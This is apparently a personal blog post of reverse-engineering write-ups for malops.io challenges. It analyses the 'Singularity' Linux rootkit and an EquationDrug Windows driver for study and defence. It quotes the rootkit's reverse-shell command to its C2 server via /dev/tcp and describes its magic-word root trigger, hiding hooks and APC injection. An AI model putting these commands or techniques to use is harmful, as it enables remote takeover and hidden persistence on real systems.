/ 2026-01-03-malops
back to the top

Write-ups for malops.io

The publication date of this post reflects the initial version; I will probably split this up in the future.

The malops platform is a collection of reverse engineering challenges targeting realistic malware scenarios. By providing a sample and a series of analysis questions, players are challenged to dive into real-world malware samples.

That’s exactly the right formula to get me hooked. To structure my progress while I make my way through the challenges and satisfy my inner completionist, I will be collecting write-ups below.

So far, the page below contains the following challenges (in order of completion):

Singularity

This is a challenge in the rootkit category. We’re supplied with a file called singularity.ko; a Linux kernel driver. The challenge suggests to use IDA Pro, which means I’ll be using Binary Ninja.

Question 1

“What is the SHA256 hash of the sample?”

We simply call sha256sum. The hash is 0b8ecdaccf492000f3143fa209481eb9db8c0a29da2b79ff5b7f6e84bb3ac7c8

Question 2

“What is the name of the primary initialization function called when the module is loaded?”

Historically, the standard way was to implement init_module. More recent kernels define the module_init macro, which wraps a driver’s custom initialization function and defines it as an alias of init_module. The compiler appears to have flattened it back down to init_module.

Question 3

“How many distinct feature-initialization functions are called within above mentioned function?”

The function looks as follows:

0x004052b0    int64_t init_module()
0x004052b0  endbr64 
0x004052b4  call    __fentry__
0x004052b9  push    rbx {__saved_rbx}
0x004052ba  call    reset_tainted_init
0x004052bf  mov     ebx, eax
0x004052c1  call    hiding_open_init
0x004052c6  or      ebx, eax
0x004052c8  call    become_root_init
0x004052cd  or      ebx, eax
0x004052cf  call    hiding_directory_init
0x004052d4  or      ebx, eax
0x004052d6  call    hiding_stat_init
0x004052db  or      ebx, eax
0x004052dd  call    hiding_tcp_init
0x004052e2  or      ebx, eax
0x004052e4  call    hooking_insmod_init
0x004052e9  or      ebx, eax
0x004052eb  call    clear_taint_dmesg_init
0x004052f0  or      ebx, eax
0x004052f2  call    hooks_write_init
0x004052f7  or      ebx, eax
0x004052f9  call    hiding_chdir_init
0x004052fe  or      ebx, eax
0x00405300  call    hiding_readlink_init
0x00405305  or      ebx, eax
0x00405307  call    bpf_hook_init
0x0040530c  or      ebx, eax
0x0040530e  call    hiding_icmp_init
0x00405313  or      ebx, eax
0x00405315  call    trace_pid_init
0x0040531a  or      ebx, eax
0x0040531c  call    module_hide_current
0x00405321  mov     eax, ebx
0x00405323  pop     rbx {__saved_rbx}
0x00405324  jmp     __x86_return_thunk

We simply count the call operations, excluding the call to __fentry__; there are fifteen initialization functions.

Question 4

“The reset_tainted_init function creates a kernel thread for anti-forensics. What is the hardcoded name of this thread?”

The reset_tainted_init function contains the following snippet:

0x004000aa    void* rax_2 = kthread_create_on_node(
0x004000aa        singularity_exit, 0, 0xffffffff, 
0x004000aa        "zer0t")

The last argument of kthread_create_on_node is the thread’s name, so the answer is zer0t

Question 5

“The add_hidden_pid function has a hardcoded limit. What is the maximum number of PIDs the rootkit can hide?”

The following conditional in add_hidden_pid tells us when the loop breaks:

0x004027bc    else if (hidden_count_1 != 0x20)
0x004027ca        break

The limit is 0x20, which is 32 in decimal.

Question 6

“What is the name of the function called last within init_module to hide the rootkit itself?”

Refer to question 2; it’s module_hide_current

Question 7

“The TCP port hiding module is initialized. What is the hardcoded port number it is configured to hide (decimal)?”

We look at functions related to TCP for this. hiding_tcp_init installs a number of hooks, one of which is hooked_tcp4_seq_show. The latter contains the following conditional. For clarity, we set the type of v to struct sock*.

0x00400d7b    if (v->__offset(0x318).d
0x00400d7b        != in_aton("192.168.5.128")
0x00400d7b        && v->__sk_common..skc_addrpair.d
0x00400d7b        != in_aton("192.168.5.128")
0x00400d7b        && v->__offset(0x31e).w != 0xa146
0x00400d7b        && v->__sk_common..skc_portpair.w
0x00400d7b        != 0xa146)

The port number is 0xa146, but it is important to note that skc_portpair.w is a word in little-endian representation. To compute the decimal, we must thus swap the bytes. We get 0x46a1, which is 18081.

Question 8

“What is the hardcoded “magic word” string, checked for by the privilege escalation module?”

The “privilege escalation module appears to refer to become_root_init. This function installs a series of hooks starting from 0x0040aa10. Turning the data at that address into an array of ftrace_hook objects helps with readability somewhat.

We page through the installed hooks, and in hook_getuid we observe the following:

0x004002e2    if (strstr(i_1, "MAGIC=babyelephant") != 0)
0x004002e4        int64_t rax_5 = prepare_creds()

It appears the magic word is babyelephant.

Question 9

“How many hooks, in total, does the become_root_init function install to enable privilege escalation?”

We see a singular call to fh_install_hooks. The second argument is the number of hooks: 0xa, or decimal 10.

Question 10

“What is the hardcoded IPv4 address of the C2 server?”

See the snippet for question 7; 192.168.5.128. This IP also occurs in functions such as hooked_tpacket_rcv where the network traffic is hidden, and in hook_icmp_rcv and spawn_revshell where the actual connection is established.

Question 11

“What is the hardcoded port number the C2 server listens on?”

It’s listening for a reverse shell connection by spawn_revshell; this function builds the following command string:

0x004048eb    snprintf(&cmd, 0x300, 
0x004048eb        "bash -c 'PID=$$; kill -59 $PID; exec -a "%s" "
0x004048eb        "/bin/bash &>/dev/tcp/%s/%s 0>&1' &", 
0x004048eb        "firefox-updater", "192.168.5.128", "443")

It establishes a TCP connection to 192.168.5.128 at port 443.

Question 12

“What network protocol is hooked to listen for the backdoor trigger?”

That’s what’s happening in hook_icmp_rcv; the protocol we’re looking for is ICMP.

Question 13

“What is the “magic” sequence number that triggers the reverse shell (decimal)?”

I’ve not dissected the packet structure in detail, but the following comparison seems to give it away:

0x00404ae5    if (head != neg.q(rax_6) &&
0x00404ae5            in4_pton("192.168.5.128", 0xffffffff, &trigger_ip, 0xffffffff, 0) != 0
0x00404ae5            && *(rax_3 + 0xc) == trigger_ip && *rdx_3 == 8
0x00404ae5            && *(rdx_3 + 6) == 0xcf07)

The magic number is 0xcf07. Again we interpret this as little-endian, converting to 0x07cf which is 1999 in decimal.

Question 14

“When the trigger conditions are met, what is the name of the function queued to execute the reverse shell?”

Right below the condition from question 13, we find:

0x00404b3f    if (rax_9 != 0)
0x00404b4f        rax_9[3] = spawn_revshell
0x00404b5c        int64_t rsi_2 = *system_wq
0x00404b63        *rax_9 = 0xfffffffe00000
0x00404b6a        rax_9[1] = &rax_9[1]
0x00404b6e        rax_9[2] = &rax_9[1]
0x00404b72        queue_work_on(0x2000, rsi_2)

The function is clearly named: spawn_revshell.

Question 15

“The spawn_revshell function launches a process. What is the hardcoded process name it uses for the reverse shell?”

We refer to the command in question 11; the process name is supplied using the -a flag of the exec command: firefox-updater.

EquationDrug

Continuing in the rootkit category, we’re given a single sample file. As we’ll see shortly, this is a Windows driver.

Binary Ninja correctly identifies this sample as something that runs on the windows-x86-kernel platform, but it appears support for this platform is not yet as complete as one might hope. In particular, the SEH prolog/epilog is not recognized correctly, and the type library is empty. We can manually select the windows-x86 platform instead, improving decompilation significantly. See also this Github issue.

Question 1

“What is the SHA256 of this sample?”

Running sha256sum gives us 980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43

Question 2

“What type of executable is this sample?”

This one had me stumped for a while. The answer format suggests we’re looking for six characters, so PE32 or PE is out. I tried native, but that was wrong.

After asking on the Malops Discord to verify whether the answer format was correct, I was told to look at the IMAGE_OPTIONAL_HEADER. Searching for a six character word let me to the DllCharacteristics flags — one of which is WDM_DRIVER. This indicates that the file is a Windows driver that uses the Windows Driver Model.

Question 3

“This sample attempts to masquerade as a component of the system. Which system component is it attempting to masquerade as?”

The FileDescription field of the Version resource tells us that the file is the Windows NT SMB Manager. We can browse the file resources using tools such as Detect-It-Easy.

Question 4

“What is the Original Filename of the sample?”

The OriginalFilename field is also part of a PE file’s Version resource. The original filename of this sample is mrxsmbmg.sys.

Question 5

“This sample only runs on one type of system architecture, which one?”

This is a 32-bit driver and Windows provides no compatibility layer for drivers, so this sample only runs on 32-bit systems.

Question 6

“This is targeted at specific versions of the Windows operating system. Which version of Windows will this sample not run on?”

In _start, we find the following snippet that retrieves and checks the system version:

0x00010d29    PsGetVersion(&var_8, &var_c, 0, 0)
0x00010d29    ...
0x00010d33    if (var_8 u<= 5)

The MajorVersion is written to var_8; the _start function only continues if it’s 5 or less. That’s remarkable, as the IMAGE_OPTIONAL_HEADER specifies a MajorOperatingSystemVersion requirement of 6.

Question 7

“What Windows API does the sample use to execute the main function via Thread?”

After the OS check was passed and a memory pool was allocated, the _start function builds a Thread context and calls PsCreateSystemThread on line 0x10dd7. Notably, it passes a handle to sub_10afc as the StartRoutine argument.

Question 8

“With the goal of obfuscating certain capabilities, the sample implements an algorithm for decrypting strings at runtime. What is the seed of this algorithm?”

In sub_10afc we find a couple references to sub_11524; the first argument is a constant, and the second is a reference to an address in the .data section. Looking at the chunks of data at those addresses, we identify several sequences of data separated by null bytes. Indeed, when we check the cross references to the start of these sequences, we find more references to sub_11524. Presumably this is the string deobfuscation routine.

Inside sub_11524, we find some buffer manipulation and a reference to sub_11432. This is where the magic happens:

0x00011456    if (result s> 0)
0x00011475        do
0x0001145e            state = state * 0x19660d + 0x3c6ef35f
0x0001146e            buffer[ecx_1] ^= (state u>> 0x10).w | 0x8000
0x00011472            ecx_1 += 1
0x00011475        while (ecx_1 s< result)

That’s an LCG! Tracing the function arguments, we see that the first argument of sub_11524 is passed to sub_11432 as its first argument as well. This is the LCG seed; 0xaa107fb.

Interestingly, there are two instances of data deobfuscation going on. The function described above operates on words, while the LCG at sub_11432 operates on bytes. Indeed, the encrypted strings from 0x12f20 onwards are separated by singular null bytes rather than null-words.

Question 9

“What are the first three strings (in order) that were decrypted?”

Alas, a question where dynamic analysis is probably much more convenient. That requires firing up a Windows VM, though. We can use the Binary Ninja API and a bit of Python, instead:

def decrypt_string(addr):
    state = 0xAA107FB
    output = ""
    while True:
        data = int.from_bytes(bv.read(addr, 2), byteorder="little")
        addr += 2
        if data == 0:
            break
        state = (state * 0x19660D + 0x3C6EF35F) & 0xFFFFFFFF
        output += chr(data ^ ((state >> 0x10) | 0x8000))
    return output    

print(decrypt_string(0x12eb0))
print(decrypt_string(0x12e9c))
print(decrypt_string(0x12ecc))

The fact that it operates on words tripped me up when implementing the above, and I ended up using unicorn with udbserver and gdbgui to trace what was going on. At that point the debugger showed the strings, but I was already too far down the static analysis rabbit hole to accept defeat.

We can use the Binary Ninja API as follows to quickly rename the strings accordingly; the first three strings are services.exe, lsass.exe and winlogon.exe.

bv.define_user_data_var(here, bv.get_data_var_at(here).type, decrypt_string(here))

Purely out of curiosity, the other strings in the .data section encrypted using the 2-byte LCG are msvcp73.dll and Kernel32.dll. The single-byte LCG was used to encrypt the names of memory allocation and thread related API calls: VirtualFree, LoadLibraryW, KeAttachProcess, KeDetachProcess, ZwAllocateVirtualMemory, ZwFreeVirtualMemory, KeInitializeApc, and KeInsertQueueApc.

Question 10

“This sample implements a process injection routine. What is the name of the injection technique implemented by this sample?”

It should not come as a surprise that the decrypted process names we found in question 9 are targets for process injection.

The loop in sub_10afc iterates over the candidate processes. In sub_10a40 and sub_11fba, the ZwQuerySystemInformation API is used to retrieve SystemProcessInformation and iterate over all available processes to see whether the candidate process is present. When it is present, the actual injection is attempted in sub_1116e.

The strings we noted in question 9 are decrypted here;

0x000111b3    int32_t eax = sub_11582(0xaa107fb, &KeAttachProcess)
0x000111c1    int32_t eax_1 = sub_11582(0xaa107fb, &KeDetachProcess)
0x000111cf    int32_t eax_2 = sub_11582(0xaa107fb, &ZwAllocateVirtualMemory)
0x000111dd    int32_t eax_3 = sub_11582(0xaa107fb, &ZwFreeVirtualMemory)

Without diving into sub_11582, let’s assume it decrypts and resolves the listed API functions; the returned pointers are used directly in call instructions (e.g., on line 0x113e2). For clarify, we mark sub_113bd as an inline function so that Binary Ninja is able to follow the pointers that were stored on the stack.

After the calls to KeAttachProcess and ZwAllocateVirtualMemory, we see a call to ExAllocatePool that allocates a block of memory, which is then passed to sub_10fbc. Skipping ahead, we see that the buffer is then copied to the remotely allocated memory. Let’s jump into sub_10fbc!

In sub_10fbc, the first thing we notice is the decrypted strings Kernel32.dll, VirtualFree and LoadLibraryW. The Kernel32 string is passed to sub_10df0, where ZwQueryInformationProcess is called with ProcessInformationClass 0 which retrieves the PEB structure. The remainder of the function iterates through the PEB to retrieve an instance of Kernel32.dll. Setting the variable assigned on line 0x10e8f to the PEB_LDR_DATA* type helps make the code a bit more readable. When Kernel32.dll is found, the respective LDR_DATA_TABLE_ENTRY is assigned to the output pointer in the second function argument:

0x00010ec9    while (true)
0x00010ed1        if (RtlCompareUnicodeString(&Flink->BaseDllName, &var_38, 1) == 0)
0x00010ed6            *arg2 = Flink
0x00010ede            _local_unwind2(&ExceptionList, 0xffffffff)
0x00010ee5            result = 0
0x00010ee7            break
0x00010eec        Flink = Flink->InLoadOrderLinks.Flink

Next up is sub_1174e. Binary Ninja does not quite recognize that it receives a bunch of arguments, and instead creates stack variables. It does now see that DllBase is passed, at least.

0x000110c0    RtlInitString(&var_3c, LoadLibraryW)
0x000110c5    int32_t var_34
0x000110c5    int32_t* var_4c_4 = &var_34
0x000110c6    int32_t var_50_7 = 0
0x000110ca    void* var_54_2 = &var_3c
0x000110cb    int32_t var_58_2 = 1
0x000110d5    result_2 = sub_1174e(DDL_base: result_4->DllBase)

By defining the function type to accept five arguments, we get the following:

0x000110c0    RtlInitString(dest: &var_3c, src: LoadLibraryW)
0x000110d5    int32_t var_34
0x000110d5    result_1 = sub_1174e(DDL_base: kernel32_1->DllBase, 1, &var_3c, 0, &var_34)

From context we can assume that it’s looking for VirtualFree and LoadLibraryW inside Kernel32.dll. When found, it writes the result to specific addresses within the buffer that was passed to sub_10fbc. But it appears we’re digressing a bit..

0x000110e8    memset(&pool[2], 0, 0x100)
0x000110f6    wcsncpy(&pool[2], arg2, 0xff)
0x00011102    *pool = virtualFree
0x00011107    pool[0x83] = loadLibraryW

After sub_10fbc has filled in the blanks and the code is set up, we jump into sub_11cca. I suppose this is where I should’ve immediately looked at where the other decrypted strings were used; on address 0x11cf2 and 11cff the API calls to KeInitializeApc and KeInsertQueueApc are resolved. This starts to look like APC injection..

Indeed, the remainder of the function uses KeInitializeApc sets up an APC context and inserts it into the queue. The third argument to sub_11cca is the target thread. Tracing the input we can see it was set up in sub_11b78, but I’ll leave that for another time.

Question 11

“What are the two APIs used by this sample to execute the injection technique?”

We’ve covered this in the previous question: KeInitializeApc and KeInsertQueueApc.

Question 12

“A shellcode will be injected using the technique identified in the previous question. This shellcode will load a module into the injected memory. What is the name of this module?”

We make note of another decrypted string: msvcp73.dll. We can find references to it in sub_104b4, where it’s decrypted and returned. We can then trace it as an argument to sub_1116e and into sub_10fbc, which we pulled apart for question 10. In particular, on line 0x110f6, the msvcp73.dll string is copied into the shellcode using wcsncpy.